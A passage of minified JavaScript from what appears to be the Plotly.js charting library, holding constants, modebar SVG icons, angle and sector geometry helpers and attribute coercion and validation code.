*paper*, the `"+Z+"`","position refers to the distance from the",e,"of the plotting","area in normalized coordinates where *0* (*1*) corresponds to the",e,"("+M+"). If set to a",Z,"axis ID followed by","*domain* (separated by a space), the position behaves like for","*paper*, but refers to the distance in fractions of the domain","length from the",e,"of the domain of that axis: e.g.,","*"+Z+"2 domain* refers to the domain of the second",Z," axis and a",Z,"position of 0.5 refers to the","point between the",e,"and the",M,"of the domain of the","second",Z,"axis."].join(" ")}}},22372:function(te){te.exports={INCREASING:{COLOR:"#3D9970",SYMBOL:"▲"},DECREASING:{COLOR:"#FF4136",SYMBOL:"▼"}}},31562:function(te){te.exports={FORMAT_LINK:"https://github.com/d3/d3-format/tree/v1.4.5#d3-format",DATE_FORMAT_LINK:"https://github.com/d3/d3-time-format/tree/v2.2.3#locale_format"}},74808:function(te){te.exports={COMPARISON_OPS:["=","!=","<",">=",">","<="],COMPARISON_OPS2:["=","<",">=",">","<="],INTERVAL_OPS:["[]","()","[)","(]","][",")(","](",")["],SET_OPS:["{}","}{"],CONSTRAINT_REDUCTION:{"=":"=","<":"<","<=":"<",">":">",">=":">","[]":"[]","()":"[]","[)":"[]","(]":"[]","][":"][",")(":"][","](":"][",")[":"]["}}},29659:function(te){te.exports={solid:[[],0],dot:[[.5,1],200],dash:[[.5,1],50],longdash:[[.5,1],10],dashdot:[[.5,.625,.875,1],50],longdashdot:[[.5,.7,.8,1],10]}},87381:function(te){te.exports={circle:"●","circle-open":"○",square:"■","square-open":"□",diamond:"◆","diamond-open":"◇",cross:"+",x:"❌"}},37822:function(te){te.exports={SHOW_PLACEHOLDER:100,HIDE_PLACEHOLDER:1e3,DESELECTDIM:.2}},50606:function(te){te.exports={BADNUM:void 0,FP_SAFE:Number.MAX_VALUE*1e-4,ONEMAXYEAR:316224e5,ONEAVGYEAR:315576e5,ONEMINYEAR:31536e6,ONEMAXQUARTER:79488e5,ONEAVGQUARTER:78894e5,ONEMINQUARTER:76896e5,ONEMAXMONTH:26784e5,ONEAVGMONTH:26298e5,ONEMINMONTH:24192e5,ONEWEEK:6048e5,ONEDAY:864e5,ONEHOUR:36e5,ONEMIN:6e4,ONESEC:1e3,EPOCHJD:24405875e-1,ALMOST_EQUAL:.999999,LOG_CLIP:10,MINUS_SIGN:"−"}},32396:function(te,Z){Z.CSS_DECLARATIONS=[["image-rendering","optimizeSpeed"],["image-rendering","-moz-crisp-edges"],["image-rendering","-o-crisp-edges"],["image-rendering","-webkit-optimize-contrast"],["image-rendering","optimize-contrast"],["image-rendering","crisp-edges"],["image-rendering","pixelated"]],Z.STYLE=Z.CSS_DECLARATIONS.map(function(e){return e.join(": ")+"; "}).join("")},77922:function(te,Z){Z.xmlns="http://www.w3.org/2000/xmlns/",Z.svg="http://www.w3.org/2000/svg",Z.xlink="http://www.w3.org/1999/xlink",Z.svgAttrs={xmlns:Z.svg,"xmlns:xlink":Z.xlink}},8729:function(te,Z,e){Z.version=e(11506).version,e(7417),e(98847);for(var M=e(73972),P=Z.register=M.register,o=e(10641),L=Object.keys(o),S=0;S<L.length;S++){var d=L[S];d.charAt(0)!=="_"&&(Z[d]=o[d]),P({moduleType:"apiMethod",name:d,fn:o[d]})}P(e(67368)),P([e(32745),e(2468),e(47322),e(89853),e(68804),e(20763),e(23243),e(13137),e(97218),e(83312),e(37369),e(21081),e(12311),e(2199),e(30211),e(64168)]),P([e(92177),e(37815)]),window.PlotlyLocales&&Array.isArray(window.PlotlyLocales)&&(P(window.PlotlyLocales),delete window.PlotlyLocales),Z.Icons=e(24255);var g=e(30211),t=e(74875);Z.Plots={resize:t.resize,graphJson:t.graphJson,sendDataToCloud:t.sendDataToCloud},Z.Fx={hover:g.hover,unhover:g.unhover,loneHover:g.loneHover,loneUnhover:g.loneUnhover},Z.Snapshot=e(44511),Z.PlotSchema=e(86281)},24255:function(te){te.exports={undo:{width:857.1,height:1e3,path:"m857 350q0-87-34-166t-91-137-137-92-166-34q-96 0-183 41t-147 114q-4 6-4 13t5 11l76 77q6 5 14 5 9-1 13-7 41-53 100-82t126-29q58 0 110 23t92 61 61 91 22 111-22 111-61 91-92 61-110 23q-55 0-105-20t-90-57l77-77q17-16 8-38-10-23-33-23h-250q-15 0-25 11t-11 25v250q0 24 22 33 22 10 39-8l72-72q60 57 137 88t159 31q87 0 166-34t137-92 91-137 34-166z",transform:"matrix(1 0 0 -1 0 850)"},home:{width:928.6,height:1e3,path:"m786 296v-267q0-15-11-26t-25-10h-214v214h-143v-214h-214q-15 0-25 10t-11 26v267q0 1 0 2t0 2l321 264 321-264q1-1 1-4z m124 39l-34-41q-5-5-12-6h-2q-7 0-12 3l-386 322-386-322q-7-4-13-4-7 2-12 7l-35 41q-4 5-3 13t6 12l401 334q18 15 42 15t43-15l136-114v109q0 8 5 13t13 5h107q8 0 13-5t5-13v-227l122-102q5-5 6-12t-4-13z",transform:"matrix(1 0 0 -1 0 850)"},"camera-retro":{width:1e3,height:1e3,path:"m518 386q0 8-5 13t-13 5q-37 0-63-27t-26-63q0-8 5-13t13-5 12 5 5 13q0 23 16 38t38 16q8 0 13 5t5 13z m125-73q0-59-42-101t-101-42-101 42-42 101 42 101 101 42 101-42 42-101z m-572-320h858v71h-858v-71z m643 320q0 89-62 152t-152 62-151-62-63-152 63-151 151-63 152 63 62 151z m-571 358h214v72h-214v-72z m-72-107h858v143h-462l-36-71h-360v-72z m929 143v-714q0-30-21-51t-50-21h-858q-29 0-50 21t-21 51v714q0 30 21 51t50 21h858q29 0 50-21t21-51z",transform:"matrix(1 0 0 -1 0 850)"},zoombox:{width:1e3,height:1e3,path:"m1000-25l-250 251c40 63 63 138 63 218 0 224-182 406-407 406-224 0-406-182-406-406s183-406 407-406c80 0 155 22 218 62l250-250 125 125z m-812 250l0 438 437 0 0-438-437 0z m62 375l313 0 0-312-313 0 0 312z",transform:"matrix(1 0 0 -1 0 850)"},pan:{width:1e3,height:1e3,path:"m1000 350l-187 188 0-125-250 0 0 250 125 0-188 187-187-187 125 0 0-250-250 0 0 125-188-188 186-187 0 125 252 0 0-250-125 0 187-188 188 188-125 0 0 250 250 0 0-126 187 188z",transform:"matrix(1 0 0 -1 0 850)"},zoom_plus:{width:875,height:1e3,path:"m1 787l0-875 875 0 0 875-875 0z m687-500l-187 0 0-187-125 0 0 187-188 0 0 125 188 0 0 187 125 0 0-187 187 0 0-125z",transform:"matrix(1 0 0 -1 0 850)"},zoom_minus:{width:875,height:1e3,path:"m0 788l0-876 875 0 0 876-875 0z m688-500l-500 0 0 125 500 0 0-125z",transform:"matrix(1 0 0 -1 0 850)"},autoscale:{width:1e3,height:1e3,path:"m250 850l-187 0-63 0 0-62 0-188 63 0 0 188 187 0 0 62z m688 0l-188 0 0-62 188 0 0-188 62 0 0 188 0 62-62 0z m-875-938l0 188-63 0 0-188 0-62 63 0 187 0 0 62-187 0z m875 188l0-188-188 0 0-62 188 0 62 0 0 62 0 188-62 0z m-125 188l-1 0-93-94-156 156 156 156 92-93 2 0 0 250-250 0 0-2 93-92-156-156-156 156 94 92 0 2-250 0 0-250 0 0 93 93 157-156-157-156-93 94 0 0 0-250 250 0 0 0-94 93 156 157 156-157-93-93 0 0 250 0 0 250z",transform:"matrix(1 0 0 -1 0 850)"},tooltip_basic:{width:1500,height:1e3,path:"m375 725l0 0-375-375 375-374 0-1 1125 0 0 750-1125 0z",transform:"matrix(1 0 0 -1 0 850)"},tooltip_compare:{width:1125,height:1e3,path:"m187 786l0 2-187-188 188-187 0 0 937 0 0 373-938 0z m0-499l0 1-187-188 188-188 0 0 937 0 0 376-938-1z",transform:"matrix(1 0 0 -1 0 850)"},plotlylogo:{width:1542,height:1e3,path:"m0-10h182v-140h-182v140z m228 146h183v-286h-183v286z m225 714h182v-1000h-182v1000z m225-285h182v-715h-182v715z m225 142h183v-857h-183v857z m231-428h182v-429h-182v429z m225-291h183v-138h-183v138z",transform:"matrix(1 0 0 -1 0 850)"},"z-axis":{width:1e3,height:1e3,path:"m833 5l-17 108v41l-130-65 130-66c0 0 0 38 0 39 0-1 36-14 39-25 4-15-6-22-16-30-15-12-39-16-56-20-90-22-187-23-279-23-261 0-341 34-353 59 3 60 228 110 228 110-140-8-351-35-351-116 0-120 293-142 474-142 155 0 477 22 477 142 0 50-74 79-163 96z m-374 94c-58-5-99-21-99-40 0-24 65-43 144-43 79 0 143 19 143 43 0 19-42 34-98 40v216h87l-132 135-133-135h88v-216z m167 515h-136v1c16 16 31 34 46 52l84 109v54h-230v-71h124v-1c-16-17-28-32-44-51l-89-114v-51h245v72z",transform:"matrix(1 0 0 -1 0 850)"},"3d_rotate":{width:1e3,height:1e3,path:"m922 660c-5 4-9 7-14 11-359 263-580-31-580-31l-102 28 58-400c0 1 1 1 2 2 118 108 351 249 351 249s-62 27-100 42c88 83 222 183 347 122 16-8 30-17 44-27-2 1-4 2-6 4z m36-329c0 0 64 229-88 296-62 27-124 14-175-11 157-78 225-208 249-266 8-19 11-31 11-31 2 5 6 15 11 32-5-13-8-20-8-20z m-775-239c70-31 117-50 198-32-121 80-199 346-199 346l-96-15-58-12c0 0 55-226 155-287z m603 133l-317-139c0 0 4-4 19-14 7-5 24-15 24-15s-177-147-389 4c235-287 536-112 536-112l31-22 100 299-4-1z m-298-153c6-4 14-9 24-15 0 0-17 10-24 15z",transform:"matrix(1 0 0 -1 0 850)"},camera:{width:1e3,height:1e3,path:"m500 450c-83 0-150-67-150-150 0-83 67-150 150-150 83 0 150 67 150 150 0 83-67 150-150 150z m400 150h-120c-16 0-34 13-39 29l-31 93c-6 15-23 28-40 28h-340c-16 0-34-13-39-28l-31-94c-6-15-23-28-40-28h-120c-55 0-100-45-100-100v-450c0-55 45-100 100-100h800c55 0 100 45 100 100v450c0 55-45 100-100 100z m-400-550c-138 0-250 112-250 250 0 138 112 250 250 250 138 0 250-112 250-250 0-138-112-250-250-250z m365 380c-19 0-35 16-35 35 0 19 16 35 35 35 19 0 35-16 35-35 0-19-16-35-35-35z",transform:"matrix(1 0 0 -1 0 850)"},movie:{width:1e3,height:1e3,path:"m938 413l-188-125c0 37-17 71-44 94 64 38 107 107 107 187 0 121-98 219-219 219-121 0-219-98-219-219 0-61 25-117 66-156h-115c30 33 49 76 49 125 0 103-84 187-187 187s-188-84-188-187c0-57 26-107 65-141-38-22-65-62-65-109v-250c0-70 56-126 125-126h500c69 0 125 56 125 126l188-126c34 0 62 28 62 63v375c0 35-28 63-62 63z m-750 0c-69 0-125 56-125 125s56 125 125 125 125-56 125-125-56-125-125-125z m406-1c-87 0-157 70-157 157 0 86 70 156 157 156s156-70 156-156-70-157-156-157z",transform:"matrix(1 0 0 -1 0 850)"},question:{width:857.1,height:1e3,path:"m500 82v107q0 8-5 13t-13 5h-107q-8 0-13-5t-5-13v-107q0-8 5-13t13-5h107q8 0 13 5t5 13z m143 375q0 49-31 91t-77 65-95 23q-136 0-207-119-9-14 4-24l74-55q4-4 10-4 9 0 14 7 30 38 48 51 19 14 48 14 27 0 48-15t21-33q0-21-11-34t-38-25q-35-16-65-48t-29-70v-20q0-8 5-13t13-5h107q8 0 13 5t5 13q0 10 12 27t30 28q18 10 28 16t25 19 25 27 16 34 7 45z m214-107q0-117-57-215t-156-156-215-58-216 58-155 156-58 215 58 215 155 156 216 58 215-58 156-156 57-215z",transform:"matrix(1 0 0 -1 0 850)"},disk:{width:857.1,height:1e3,path:"m214-7h429v214h-429v-214z m500 0h72v500q0 8-6 21t-11 20l-157 156q-5 6-19 12t-22 5v-232q0-22-15-38t-38-16h-322q-22 0-37 16t-16 38v232h-72v-714h72v232q0 22 16 38t37 16h465q22 0 38-16t15-38v-232z m-214 518v178q0 8-5 13t-13 5h-107q-7 0-13-5t-5-13v-178q0-8 5-13t13-5h107q7 0 13 5t5 13z m357-18v-518q0-22-15-38t-38-16h-750q-23 0-38 16t-16 38v750q0 22 16 38t38 16h517q23 0 50-12t42-26l156-157q16-15 27-42t11-49z",transform:"matrix(1 0 0 -1 0 850)"},drawopenpath:{width:70,height:70,path:"M33.21,85.65a7.31,7.31,0,0,1-2.59-.48c-8.16-3.11-9.27-19.8-9.88-41.3-.1-3.58-.19-6.68-.35-9-.15-2.1-.67-3.48-1.43-3.79-2.13-.88-7.91,2.32-12,5.86L3,32.38c1.87-1.64,11.55-9.66,18.27-6.9,2.13.87,4.75,3.14,5.17,9,.17,2.43.26,5.59.36,9.25a224.17,224.17,0,0,0,1.5,23.4c1.54,10.76,4,12.22,4.48,12.4.84.32,2.79-.46,5.76-3.59L43,80.07C41.53,81.57,37.68,85.64,33.21,85.65ZM74.81,69a11.34,11.34,0,0,0,6.09-6.72L87.26,44.5,74.72,32,56.9,38.35c-2.37.86-5.57,3.42-6.61,6L38.65,72.14l8.42,8.43ZM55,46.27a7.91,7.91,0,0,1,3.64-3.17l14.8-5.3,8,8L76.11,60.6l-.06.19a6.37,6.37,0,0,1-3,3.43L48.25,74.59,44.62,71Zm16.57,7.82A6.9,6.9,0,1,0,64.64,61,6.91,6.91,0,0,0,71.54,54.09Zm-4.05,0a2.85,2.85,0,1,1-2.85-2.85A2.86,2.86,0,0,1,67.49,54.09Zm-4.13,5.22L60.5,56.45,44.26,72.7l2.86,2.86ZM97.83,35.67,84.14,22l-8.57,8.57L89.26,44.24Zm-13.69-8,8,8-2.85,2.85-8-8Z",transform:"matrix(1 0 0 1 -15 -15)"},drawclosedpath:{width:90,height:90,path:"M88.41,21.12a26.56,26.56,0,0,0-36.18,0l-2.07,2-2.07-2a26.57,26.57,0,0,0-36.18,0,23.74,23.74,0,0,0,0,34.8L48,90.12a3.22,3.22,0,0,0,4.42,0l36-34.21a23.73,23.73,0,0,0,0-34.79ZM84,51.24,50.16,83.35,16.35,51.25a17.28,17.28,0,0,1,0-25.47,20,20,0,0,1,27.3,0l4.29,4.07a3.23,3.23,0,0,0,4.44,0l4.29-4.07a20,20,0,0,1,27.3,0,17.27,17.27,0,0,1,0,25.46ZM66.76,47.68h-33v6.91h33ZM53.35,35H46.44V68h6.91Z",transform:"matrix(1 0 0 1 -5 -5)"},lasso:{width:1031,height:1e3,path:"m1018 538c-36 207-290 336-568 286-277-48-473-256-436-463 10-57 36-108 76-151-13-66 11-137 68-183 34-28 75-41 114-42l-55-70 0 0c-2-1-3-2-4-3-10-14-8-34 5-45 14-11 34-8 45 4 1 1 2 3 2 5l0 0 113 140c16 11 31 24 45 40 4 3 6 7 8 11 48-3 100 0 151 9 278 48 473 255 436 462z m-624-379c-80 14-149 48-197 96 42 42 109 47 156 9 33-26 47-66 41-105z m-187-74c-19 16-33 37-39 60 50-32 109-55 174-68-42-25-95-24-135 8z m360 75c-34-7-69-9-102-8 8 62-16 128-68 170-73 59-175 54-244-5-9 20-16 40-20 61-28 159 121 317 333 354s407-60 434-217c28-159-121-318-333-355z",transform:"matrix(1 0 0 -1 0 850)"},selectbox:{width:1e3,height:1e3,path:"m0 850l0-143 143 0 0 143-143 0z m286 0l0-143 143 0 0 143-143 0z m285 0l0-143 143 0 0 143-143 0z m286 0l0-143 143 0 0 143-143 0z m-857-286l0-143 143 0 0 143-143 0z m857 0l0-143 143 0 0 143-143 0z m-857-285l0-143 143 0 0 143-143 0z m857 0l0-143 143 0 0 143-143 0z m-857-286l0-143 143 0 0 143-143 0z m286 0l0-143 143 0 0 143-143 0z m285 0l0-143 143 0 0 143-143 0z m286 0l0-143 143 0 0 143-143 0z",transform:"matrix(1 0 0 -1 0 850)"},drawline:{width:70,height:70,path:"M60.64,62.3a11.29,11.29,0,0,0,6.09-6.72l6.35-17.72L60.54,25.31l-17.82,6.4c-2.36.86-5.57,3.41-6.6,6L24.48,65.5l8.42,8.42ZM40.79,39.63a7.89,7.89,0,0,1,3.65-3.17l14.79-5.31,8,8L61.94,54l-.06.19a6.44,6.44,0,0,1-3,3.43L34.07,68l-3.62-3.63Zm16.57,7.81a6.9,6.9,0,1,0-6.89,6.9A6.9,6.9,0,0,0,57.36,47.44Zm-4,0a2.86,2.86,0,1,1-2.85-2.85A2.86,2.86,0,0,1,53.32,47.44Zm-4.13,5.22L46.33,49.8,30.08,66.05l2.86,2.86ZM83.65,29,70,15.34,61.4,23.9,75.09,37.59ZM70,21.06l8,8-2.84,2.85-8-8ZM87,80.49H10.67V87H87Z",transform:"matrix(1 0 0 1 -15 -15)"},drawrect:{width:80,height:80,path:"M78,22V79H21V22H78m9-9H12V88H87V13ZM68,46.22H31V54H68ZM53,32H45.22V69H53Z",transform:"matrix(1 0 0 1 -10 -10)"},drawcircle:{width:80,height:80,path:"M50,84.72C26.84,84.72,8,69.28,8,50.3S26.84,15.87,50,15.87,92,31.31,92,50.3,73.16,84.72,50,84.72Zm0-60.59c-18.6,0-33.74,11.74-33.74,26.17S31.4,76.46,50,76.46,83.74,64.72,83.74,50.3,68.6,24.13,50,24.13Zm17.15,22h-34v7.11h34Zm-13.8-13H46.24v34h7.11Z",transform:"matrix(1 0 0 1 -10 -10)"},eraseshape:{width:80,height:80,path:"M82.77,78H31.85L6,49.57,31.85,21.14H82.77a8.72,8.72,0,0,1,8.65,8.77V69.24A8.72,8.72,0,0,1,82.77,78ZM35.46,69.84H82.77a.57.57,0,0,0,.49-.6V29.91a.57.57,0,0,0-.49-.61H35.46L17,49.57Zm32.68-34.7-24,24,5,5,24-24Zm-19,.53-5,5,24,24,5-5Z",transform:"matrix(1 0 0 1 -10 -10)"},spikeline:{width:1e3,height:1e3,path:"M512 409c0-57-46-104-103-104-57 0-104 47-104 104 0 57 47 103 104 103 57 0 103-46 103-103z m-327-39l92 0 0 92-92 0z m-185 0l92 0 0 92-92 0z m370-186l92 0 0 93-92 0z m0-184l92 0 0 92-92 0z",transform:"matrix(1.5 0 0 -1.5 0 850)"},pencil:{width:1792,height:1792,path:"M491 1536l91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192l416 416-832 832h-416v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z",transform:"matrix(1 0 0 1 0 1)"},newplotlylogo:{name:"newplotlylogo",svg:["<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 132 132'>","<defs>"," <style>","  .cls-0{fill:#000;}","  .cls-1{fill:#FFF;}","  .cls-2{fill:#F26;}","  .cls-3{fill:#D69;}","  .cls-4{fill:#BAC;}","  .cls-5{fill:#9EF;}"," </style>","</defs>"," <title>plotly-logomark</title>"," <g id='symbol'>","  <rect class='cls-0' x='0' y='0' width='132' height='132' rx='18' ry='18'/>","  <circle class='cls-5' cx='102' cy='30' r='6'/>","  <circle class='cls-4' cx='78' cy='30' r='6'/>","  <circle class='cls-4' cx='78' cy='54' r='6'/>","  <circle class='cls-3' cx='54' cy='30' r='6'/>","  <circle class='cls-2' cx='30' cy='30' r='6'/>","  <circle class='cls-2' cx='30' cy='54' r='6'/>","  <path class='cls-1' d='M30,72a6,6,0,0,0-6,6v24a6,6,0,0,0,12,0V78A6,6,0,0,0,30,72Z'/>","  <path class='cls-1' d='M78,72a6,6,0,0,0-6,6v24a6,6,0,0,0,12,0V78A6,6,0,0,0,78,72Z'/>","  <path class='cls-1' d='M54,48a6,6,0,0,0-6,6v48a6,6,0,0,0,12,0V54A6,6,0,0,0,54,48Z'/>","  <path class='cls-1' d='M102,48a6,6,0,0,0-6,6v48a6,6,0,0,0,12,0V54A6,6,0,0,0,102,48Z'/>"," </g>","</svg>"].join("")}}},99863:function(te,Z){Z.isLeftAnchor=function(M){return M.xanchor==="left"||M.xanchor==="auto"&&M.x<=.3333333333333333},Z.isCenterAnchor=function(M){return M.xanchor==="center"||M.xanchor==="auto"&&M.x>.3333333333333333&&M.x<.6666666666666666},Z.isRightAnchor=function(M){return M.xanchor==="right"||M.xanchor==="auto"&&M.x>=.6666666666666666},Z.isTopAnchor=function(M){return M.yanchor==="top"||M.yanchor==="auto"&&M.y>=.6666666666666666},Z.isMiddleAnchor=function(M){return M.yanchor==="middle"||M.yanchor==="auto"&&M.y>.3333333333333333&&M.y<.6666666666666666},Z.isBottomAnchor=function(M){return M.yanchor==="bottom"||M.yanchor==="auto"&&M.y<=.3333333333333333}},26348:function(te,Z,e){var M=e(64872),P=M.mod,o=M.modHalf,L=Math.PI,S=2*L;function d(b){return b/180*L}function g(b){return b/L*180}function t(b){return Math.abs(b[1]-b[0])>S-1e-14}function r(b,h){return o(h-b,S)}function f(b,h){return Math.abs(r(b,h))}function a(b,h){if(t(h))return!0;var i,v;h[0]<h[1]?(i=h[0],v=h[1]):(i=h[1],v=h[0]),i=P(i,S),v=P(v,S),i>v&&(v+=S);var T=P(b,S),w=T+S;return T>=i&&T<=v||w>=i&&w<=v}function l(b,h,i,v){if(!a(h,v))return!1;var T,w;return i[0]<i[1]?(T=i[0],w=i[1]):(T=i[1],w=i[0]),b>=T&&b<=w}function u(b,h,i,v,T,w,E){T=T||0,w=w||0;var p=t([i,v]),A,m,n,C,x;p?(A=0,m=L,n=S):i<v?(A=i,n=v):(A=v,n=i),b<h?(C=b,x=h):(C=h,x=b);function I(F,O){return[F*Math.cos(O)+T,w-F*Math.sin(O)]}var k=Math.abs(n-A)<=L?0:1;function B(F,O,z){return"A"+[F,F]+" "+[0,k,z]+" "+I(F,O)}var _;return p?C===null?_="M"+I(x,A)+B(x,m,0)+B(x,n,0)+"Z":_="M"+I(C,A)+B(C,m,0)+B(C,n,0)+"ZM"+I(x,A)+B(x,m,1)+B(x,n,1)+"Z":C===null?(_="M"+I(x,A)+B(x,n,0),E&&(_+="L0,0Z")):_="M"+I(C,A)+"L"+I(x,A)+B(x,n,0)+"L"+I(C,n)+B(C,A,1)+"Z",_}function s(b,h,i,v,T){return u(null,b,h,i,v,T,0)}function y(b,h,i,v,T){return u(null,b,h,i,v,T,1)}function c(b,h,i,v,T,w){return u(b,h,i,v,T,w,1)}te.exports={deg2rad:d,rad2deg:g,angleDelta:r,angleDist:f,isFullCircle:t,isAngleInsideSector:a,isPtInsideSector:l,pathArc:s,pathSector:y,pathAnnulus:c}},73627:function(te,Z){var e=Array.isArray,M=ArrayBuffer,P=DataView;function o(g){return M.isView(g)&&!(g instanceof P)}Z.isTypedArray=o;function L(g){return e(g)||o(g)}Z.isArrayOrTypedArray=L;function S(g){return!L(g[0])}Z.isArray1D=S,Z.ensureArray=function(g,t){return e(g)||(g=[]),g.length=t,g},Z.concat=function(){var g=[],t=!0,r=0,f,a,l,u,s,y,c,b;for(l=0;l<arguments.length;l++)u=arguments[l],y=u.length,y&&(a?g.push(u):(a=u,s=y),e(u)?f=!1:(t=!1,r?f!==u.constructor&&(f=!1):f=u.constructor),r+=y);if(!r)return[];if(!g.length)return a;if(t)return a.concat.apply(a,g);if(f){for(c=new f(r),c.set(a),l=0;l<g.length;l++)u=g[l],c.set(u,s),s+=u.length;return c}for(c=new Array(r),b=0;b<a.length;b++)c[b]=a[b];for(l=0;l<g.length;l++){for(u=g[l],b=0;b<u.length;b++)c[s+b]=u[b];s+=b}return c},Z.maxRowLength=function(g){return d(g,Math.max,0)},Z.minRowLength=function(g){return d(g,Math.min,1/0)};function d(g,t,r){if(L(g))if(L(g[0])){for(var f=r,a=0;a<g.length;a++)f=t(f,g[a].length);return f}else return g.length;return 0}},95218:function(te,Z,e){var M=e(92770),P=e(50606).BADNUM,o=/^['"%,$#\s']+|[, ]|['"%,$#\s']+$/g;te.exports=function(S){return typeof S=="string"&&(S=S.replace(o,"")),M(S)?Number(S):P}},33306:function(te){te.exports=function(e){var M=e._fullLayout;M._glcanvas&&M._glcanvas.size()&&M._glcanvas.each(function(P){P.regl&&P.regl.clear({color:!0,depth:!0})})}},86367:function(te){te.exports=function(e){e._responsiveChartHandler&&(window.removeEventListener("resize",e._responsiveChartHandler),delete e._responsiveChartHandler)}},96554:function(te,Z,e){var M=e(92770),P=e(84267),o=e(9012),L=e(63282),S=e(7901),d=e(37822).DESELECTDIM,g=e(65487),t=e(30587).counter,r=e(64872).modHalf,f=e(73627).isArrayOrTypedArray;Z.valObjectMeta={data_array:{coerceFunction:function(l,u,s){f(l)?u.set(l):s!==void 0&&u.set(s)}},enumerated:{coerceFunction:function(l,u,s,y){y.coerceNumber&&(l=+l),y.values.indexOf(l)===-1?u.set(s):u.set(l)},validateFunction:function(l,u){u.coerceNumber&&(l=+l);for(var s=u.values,y=0;y<s.length;y++){var c=String(s[y]);if(c.charAt(0)==="/"&&c.charAt(c.length-1)==="/"){var b=new RegExp(c.substr(1,c.length-2));if(b.test(l))return!0}else if(l===s[y])return!0}return!1}},boolean:{coerceFunction:function(l,u,s){l===!0||l===!1?u.set(l):u.set(s)}},number:{coerceFunction:function(l,u,s,y){!M(l)||y.min!==void 0&&l<y.min||y.max!==void 0&&l>y.max?u.set(s):u.set(+l)}},integer:{coerceFunction:function(l,u,s,y){l%1||!M(l)||y.min!==void 0&&l<y.min||y.max!==void 0&&l>y.max?u.set(s):u.set(+l)}},string:{coerceFunction:function(l,u,s,y){if(typeof l!="string"){var c=typeof l=="number";y.strict===!0||!c?u.set(s):u.set(String(l))}else y.noBlank&&!l?u.set(s):u.set(l)}},color:{coerceFunction:function(l,u,s){P(l).isValid()?u.set(l):u.set(s)}},colorlist:{coerceFunction:function(l,u,s){function y(c){return P(c).isValid()}!Array.isArray(l)||!l.length?u.set(s):l.every(y)?u.set(l):u.set(s)}},colorscale:{coerceFunction:function(l,u,s){u.set(L.get(l,s))}},angle:{coerceFunction:function(l,u,s){l==="auto"?u.set("auto"):M(l)?u.set(r(+l,360)):u.set(s)}},subplotid:{coerceFunction:function(l,u,s,y){var c=y.regex||t(s);if(typeof l=="string"&&c.test(l)){u.set(l);return}u.set(s)},validateFunction:function(l,u){var s=u.dflt;return l===s?!0:typeof l!="string"?!1:!!t(s).test(l)}},flaglist:{coerceFunction:function(l,u,s,y){if((y.extras||[]).indexOf(l)!==-1){u.set(l);return}if(typeof l!="string"){u.set(s);return}for(var c=l.split("+"),b=0;b<c.length;){var h=c[b];y.flags.indexOf(h)===-1||c.indexOf(h)<b?c.splice(b,1):b++}c.length?u.set(c.join("+")):u.set(s)}},any:{coerceFunction:function(l,u,s){l===void 0?u.set(s):u.set(l)}},info_array:{coerceFunction:function(l,u,s,y){function c(I,k,B){var _,F={set:function(O){_=O}};return B===void 0&&(B=k.dflt),Z.valObjectMeta[k.valType].coerceFunction(I,F,B,k),_}var b=y.dimensions===2||y.dimensions==="1-2"&&Array.isArray(l)&&Array.isArray(l[0]);if(!Array.isArray(l)){u.set(s);return}var h=y.items,i=[],v=Array.isArray(h),T=v&&b&&Array.isArray(h[0]),w=b&&v&&!T,E=v&&!w?h.length:l.length,p,A,m,n,C,x;if(s=Array.isArray(s)?s:[],b)for(p=0;p<E;p++)for(i[p]=[],m=Array.isArray(l[p])?l[p]:[],w?C=h.length:v?C=h[p].length:C=m.length,A=0;A<C;A++)w?n=h[A]:v?n=h[p][A]:n=h,x=c(m[A],n,(s[p]||[])[A]),x!==void 0&&(i[p][A]=x);else for(p=0;p<E;p++)x=c(l[p],v?h[p]:h,s[p]),x!==void 0&&(i[p]=x);u.set(i)},validateFunction:function(l,u){if(!Array.isArray(l))return!1;var s=u.items,y=Array.isArray(s),c=u.dimensions===2;if(!u.freeLength&&l.length!==s.length)return!1;for(var b=0;b<l.length;b++)if(c){if(!Array.isArray(l[b])||!u.freeLength&&l[b].length!==s[b].length)return!1;for(var h=0;h<l[b].length;h++)if(!a(l[b][h],y?s[b][h]:s))return!1}else if(!a(l[b],y?s[b]:s))return!1;return!0}}},Z.coerce=function(l,u,s,y,c){var b=g(s,y).get(),h=g(l,y),i=g(u,y),v=h.get(),T=u._template;if(v===void 0&&T&&(v=g(T,y).get(),T=0),c===void 0&&(c=b.dflt),b.arrayOk&&f(v))return i.set(v),v;var w=Z.valObjectMeta[b.valType].coerceFunction;w(v,i,c,b);var E=i.get();return T&&E===c&&!a(v,b)&&(v=g(T,y).get(),w(v,i,c,b),E=i.get()),E},Z.coerce2=function(l,u,s,y,c){var b=g(l,y),h=Z.coerce(l,u,s,y,c),i=b.get();return i!=null?h:!1},Z.coerceFont=function(l,u,s){var y={};return s=s||{},y.family=l(u+".family",s.family),y.size=l(u+".size",s.size),y.color=l(u+".color",s.color),y},Z.coercePattern=function(l,u,s,y){var c=l(u+".shape");if(c){l(u+".solidity"),l(u+".size");var b=l(u+".fillmode"),h=b==="overlay";if(!y){var i=l(u+".bgcolor",h?s:void 0);l(u+".fgcolor",h?S.contrast(i):s)}l(u+".fgopacity",h?.5:1)}},Z.coerceHoverinfo=function(l,u,s){var y=u._module.attributes,c=y.hoverinfo?y:o,b=c.hoverinfo,h;if(s._dataLength===1){var i=b.dflt==="all"?b.flags.slice():b.dflt.split("+");i.splice(i.indexOf("name"),1),h=i.join("+")}return Z.coerce(l,u,c,"hoverinfo",h)},Z.coerceSelectionMarkerOpacity=function(l,u){if(l.marker){var s=l.marker.opacity;if(s!==void 0){var y,c;!f(s)&&!l.selected&&!l.unselected&&(y=s,c=d*s),u("selected.marker.opacity",y),u("unselected.marker.opacity",c)}}};function a(l,u){var s=Z.valObjectMeta[u.valType];if(u.arrayOk&&f(l))return!0;if(s.validateFunction)return s.validateFunction(l,u);var y={},c=y,b={set:function(h){c=h}};return s.coerceFunction(l,b,y,u),c!==y}Z.validate=a},41631:function(te,Z,e){var 